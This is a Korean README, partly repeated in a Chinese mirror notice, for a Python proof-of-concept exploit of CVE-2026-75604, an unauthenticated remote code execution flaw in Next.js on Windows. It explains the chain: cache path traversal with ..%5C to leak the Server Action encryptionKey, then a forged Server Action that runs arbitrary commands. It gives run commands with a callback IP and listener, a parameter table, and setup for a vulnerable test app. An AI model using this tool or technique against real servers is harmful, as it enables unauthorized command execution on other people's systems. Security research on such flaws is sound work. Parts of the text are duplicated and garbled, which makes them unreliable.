
# CVE-2026-75604 개념 증명 익스플로잇 Windows 호스트 Next.js에서 캐시 경로 탐색 및 위조된 Server Action을 통한 인증되지 않은 RCE(원격 코드 실행) 취약점에 대한 개념 증명 익스플로잇으로, 공인된 보안 테스트용입니다.
CVE-2026-75604에 대한 Python 개념 증명(PoC)으로, Windows 호스트에서 실행되는 Next.js 애플리케이션 중 Pages Router와 App Router를 Cache Components 없이 함께 사용하는 경우 발생하는 인증 없는 원격 명령 실행 취약점입니다.

>=13.4 <15.5.24 또는 >=16.0 <16.3.3[email protected]에서 검증되었습니다.
python -m pip install -r requirements.txt
python poc.py --target http://TARGET:3000 --callback-ip CALLBACK_IP --pages-cache-path /PATH/TO/PAGES_ISR_INSTANCE --app-cache-path /PATH/TO/APP_CACHE_INSTANCE
Server Action 경로는 기본적으로 /입니다. 해당 폼에 필드가 두 개 이상인 경우 --action-field를 사용하세요.
필수 인자:
--target URL: Next.js 애플리케이션의 기본 URL--callback-ip ADDRESS: 대상에서 연결 가능한 IPv4 주소--pages-cache-path PATH: 기존 동적 Pages Router ISR 페이지--app-cache-path PATH: 파일시스템 캐시로 백업된 기존 동적 App Router 페이지선택 인자:
--command COMMAND: 실행할 명령어(기본값: whoami)--action-path PATH: 호환되는 Server Action이 포함된 App Router 페이지(기본값: /)--action-field NAME: 액션이 사용하는 폼 필드(모호하지 않은 경우 자동 감지)--callback-port PORT: 콜백 포트(기본값: 4331)--listen-address ADDRESS: 로컬 콜백 바인드 주소(기본값: 0.0.0.0)--timeout SECONDS: 요청 및 콜백 타임아웃(기본값: 20)--insecure: TLS 인증서 검증 비활성화선택 사항인 target/ 애플리케이션은 [email protected]을 고정하고 표준 Next.js 프로덕션 서버를 사용합니다:
cd target
npm ci
npm run build
npm start
다른 터미널에서 PoC를 실행하세요:
python poc.py --target http://127.0.0.1:4330 --callback-ip 127.0.0.1 --pages-cache-path /pages-cache/seed --app-cache-path /app-cache/seed
선택 대상은 필요한 라우트와 /의 호환 Server Action을 제공합니다.
이 PoC는 교육 목적, 보안 연구 및 승인된 테스트 전용으로 제공됩니다. 소유한 시스템 또는 명시적 테스트 권한이 있는 시스템에서만 사용하세요.
evolutionstorm에게 크레딧을 제공합니다.
이 PoC는 공개 권고 및 Next.js 패치에서 독립적으로 재구성되었습니다.
本仓库为 CVE-2026-75604 利用 PoC 的中转分发镜像(英文使用说明见上方上游原版 README)。内容由上游公开 PoC 镜像而来,仅作存档与分发用途。PoC 仅供安全研究、漏洞验证与授权测试,请勿用于未授权目标。
AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H>=13.4 <15.5.24、>=16.0 <16.3.315.5.24 / 16.3.3핵심 원리:FileSystemCache는 Windows에서 백슬래시(\)를 경로 구분자로 이스케이프 처리하지 않으므로, 공격자는 ..%5C 인코딩으로 캐시 경로를 탐색하여 비밀 파일 server-reference-manifest.json을 읽고 Server Action의 encryptionKey를 유출한 뒤, 클로저 바인딩 Server Action 요청을 위조하여 임의 명령을 실행할 수 있습니다.
python -m pip install -r requirements.txt(cryptography、requests)[email protected]에서 검증되었습니다.
python poc.py --target http://TARGET:3000 --callback-ip CALLBACK_IP \
--pages-cache-path /PATH/TO/PAGES_ISR_INSTANCE \
--app-cache-path /PATH/TO/APP_CACHE_INSTANCE
| 매개변수 | 필수 | 설명 |
|---|---|---|
--target URL | 예 | Next.js 애플리케이션 기본 URL |
--callback-ip ADDRESS | 예 | 대상에서 역연결 가능한 IPv4 주소 |
--pages-cache-path PATH | 예 | 기존 동적 Pages Router ISR 페이지(탐색 앵커) |
--app-cache-path PATH | 예 | 파일시스템 캐시를 사용하는 기존 동적 App Router 페이지 |
--command COMMAND | 아니요 | 실행할 명령어(기본값 whoami) |
--action-path PATH | 아니요 | 호환 Server Action이 포함된 App Router 페이지(기본값 /) |
--action-field NAME | 아니요 | Action 폼이 사용하는 비즈니스 필드(유일한 경우 자동 감지) |
--callback-port PORT | 아니요 | 역연결 포트(기본값 4331) |
--listen-address ADDRESS | 아니요 | 로컬 콜백 수신 주소(기본값 0.0.0.0) |
--timeout SECONDS | 아니요 | 요청 및 콜백 타임아웃(기본값 20) |
--insecure | 아니요 | TLS 인증서 검증 비활성화 |
저장소 내 target/은 재현 가능한 예제 애플리케이션을 제공합니다([email protected] 고정, 표준 프로덕션 서버):
cd target
npm ci
npm run build
npm start
다른 터미널에서 실행:
python poc.py --target http://127.0.0.1:4330 --callback-ip 127.0.0.1 \
--pages-cache-path /pages-cache/seed --app-cache-path /app-cache/seed
예제 대상은 필요한 라우트와 /의 호환 Server Action을 제공합니다.
본 PoC는 교육, 보안 연구 및 승인된 테스트 전용으로 제공되며, 소유하거나 명시적 테스트 권한이 있는 시스템에서만 실행해야 합니다. 이 취약점을 악용하면 대상 Windows 호스트에서 임의 명령이 실행되므로, 폐기 가능한 환경에서 테스트하세요.
LICENSE 참조).